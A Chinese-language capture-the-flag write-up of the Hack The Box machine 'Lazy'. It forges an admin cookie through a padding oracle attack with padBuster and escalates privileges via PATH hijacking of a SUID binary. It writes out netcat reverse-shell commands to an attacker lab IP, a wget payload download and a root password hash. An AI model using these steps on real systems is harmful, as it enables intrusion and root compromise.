Lazy(密码学相关)

1
2
3
4
5
6
7
8
9
10
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
| 2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
| 256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_ 256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

web

nikto

nikto -h 10.10.10.18

1
2
Apache/2.4.7 (Ubuntu)
PHP/5.5.9-1ubuntu4.21

经过检查,web目录十分干净,只有少数的功能。

  • 注册用户功能,检查sql注入

wapita

1
2
3
wapiti -u http://10.10.10.18/login.php
wapiti -u http://10.10.10.18/register.php
wapiti -u http://10.10.10.18/classes/

扫描,无漏洞

gobuster

1
2
3
gobuster -u http://10.10.10.18 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

http://10.10.10.18/classes/

发现目录遍历,该目录下有几个php文件。auth.php跳转到admin/login.php

用burp拦截,发现302跳转,404not found =》admin/login.php

这让我不禁想到,login.php是否可以登陆admin

admin/admin尝试登陆,提示Invalid credentials,爆破失败

ssh

  • 检查openssh是否有低版本漏洞
1
2
3
4
5
6
7
8
9
ssh root@10.10.10.18

The authenticity of host '10.10.10.18 (10.10.10.18)' can't be established.
ECDSA key fingerprint is SHA256:OJ5DTyZUGZXEpX4BKFNTApa88gR/+w5vcNathKIPcWE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.18' (ECDSA) to the list of known hosts.
root@10.10.10.18: Permission denied (publickey).

python ssh.py --userList /usr/share/wordlists/linux-user.txt 10.10.10.18 --outputFile /root/Desktop/users.txt

检查结果:公钥私钥登陆方式,好像不允许私钥登陆

  • 检查中间件漏洞
    Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution + Scanner | exploits/php/remote/29316.py

cgi-bin目录不存在,所以漏洞不存在

writeup

参考资料: Padding Oracle Attack 笔记

Padding Oracle Attack,简要的说就是密码学配置不当,会导致任意文件读取。

工具:wget https://raw.githubusercontent.com/GDSSecurity/PadBuster/master/padBuster.pl

使用burp抓包,获取Cookie。

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET / HTTP/1.1

Host: 10.10.10.18

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Cookie: PHPSESSID=l8g93fl443iinu6cndl71g1ic5; auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

padBuster.pl

Use: padBuster.pl URL EncryptedSample BlockSize [options]

1
2
3
4
5
6
7
Padding Oracle -- 填充oracle解密:
perl padBuster.pl http://10.10.10.18 zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8 -encoding 0

填充oracle加密
perl padBuster.pl http://10.10.10.18 zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e -cookies auth=zZs1CucXwORHrUD2uEkfi7HKtO4MqN0e 8 -encoding 0 -plaintext user=admin

当获得admin加密后,获得了cookies字符串。用burp修改包。

访问/mysshkeywithnamemitsos

将密钥保存为一个名为id_rsa的文件。

1
2
chmod 400 id_rsa
ssh -i id_rsa mitsos@10.10.10.18

INFO

家目录下有一个suid权限的elf程序。尝试用john破解/etc/shadow,失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mitsos@LazyClown:~$ ls -al backup
-rwsrwsr-x 1 root root 7303 May 3 2017 backup

mitsos@LazyClown:~$ file backup
backup: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=33d6b5bec96c44e630f37ff41cc1c4a8b2813b6b, not stripped

一下就是/etc/shadow的第一行
root:$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0:17288:0:99999:7:::

复制第一个冒号和第二个冒号之间的字符串,就是密文。将密文保存为文件名pass
$6$v1daFgo/$.7m9WXOoE4CKFdWvC.8A9aaQ334avEU8KHTmhjjGXMl0CTvZqRfNM5NO2/.7n2WtC58IUOMvLjHL0j4OsDPuL0

---
john --wordlist=/usr/share/john/password.lst ./pass
解密失败
---

strings backup

上传nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mitsos@LazyClown:~$whereis nc
/bin/nc

尝试nc反弹shell,结果netcat-openbsd package,不支持-e参数。
mitsos@LazyClown:~$/bin/nc -e /bin/sh 10.10.14.7 1122


于是上传一个nc
wget http://10.10.14.7/netcat;chmod a+x netcat

/home/mitsos/netcat -h
/home/mitsos/netcat -e /bin/sh 10.10.14.7 1122

---
第一次上传的64位nc,提示出错
-bash: /home/mitsos/nc: cannot execute binary file: Exec format error
于是再次上传32位nc
---
uname -a
Linux LazyClown 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux

i686说明是32位的系统版本


成功反弹shell

提权

新建cat文件,内容是shell脚本。当suid程序执行cat /etc/shadow,加入环境变量后,会先执行以下脚本。

1
2
#!/bin/sh
more /root/root.txt > /home/mitsos/root.txt

添加环境变量export PATH=.:$PATHchmod +x cat,给/home/mitsos/cat添加执行权限。

运行/backup,发现root.txt已经复制到该目录。但是查看一下,发现还是root权限可读。

1
2
#!/bin/bash
more chmod a+r /home/mitsos/root.txt

修改cat,然后再次运行backup即可获得root.txt的内容

方法二:

cat 内容为

1
2
#!/bin/bash
/home/mitsos/netcat -e /bin/bash 10.10.14.7 1233

即可获得一个root shell

总结

学习到了一种新的suid提权方式,虽然有suid权限的elf程序不nmap|vim|find|bash|more|less|nano|cp这些程序其中的任何一种,但是通过添加环境变量,可以顺带执行shell脚本。

这个突破防线的方式,通过伪造cookies,是由于密码算法使用不当,导致攻击者可以猜测出admin的cookies,从而登陆web。

Padding Oracle Attack,利用条件很苛刻。

也许是我对密码学的东西知之甚少。不知道在实际攻击过程中,这种方式是否常见。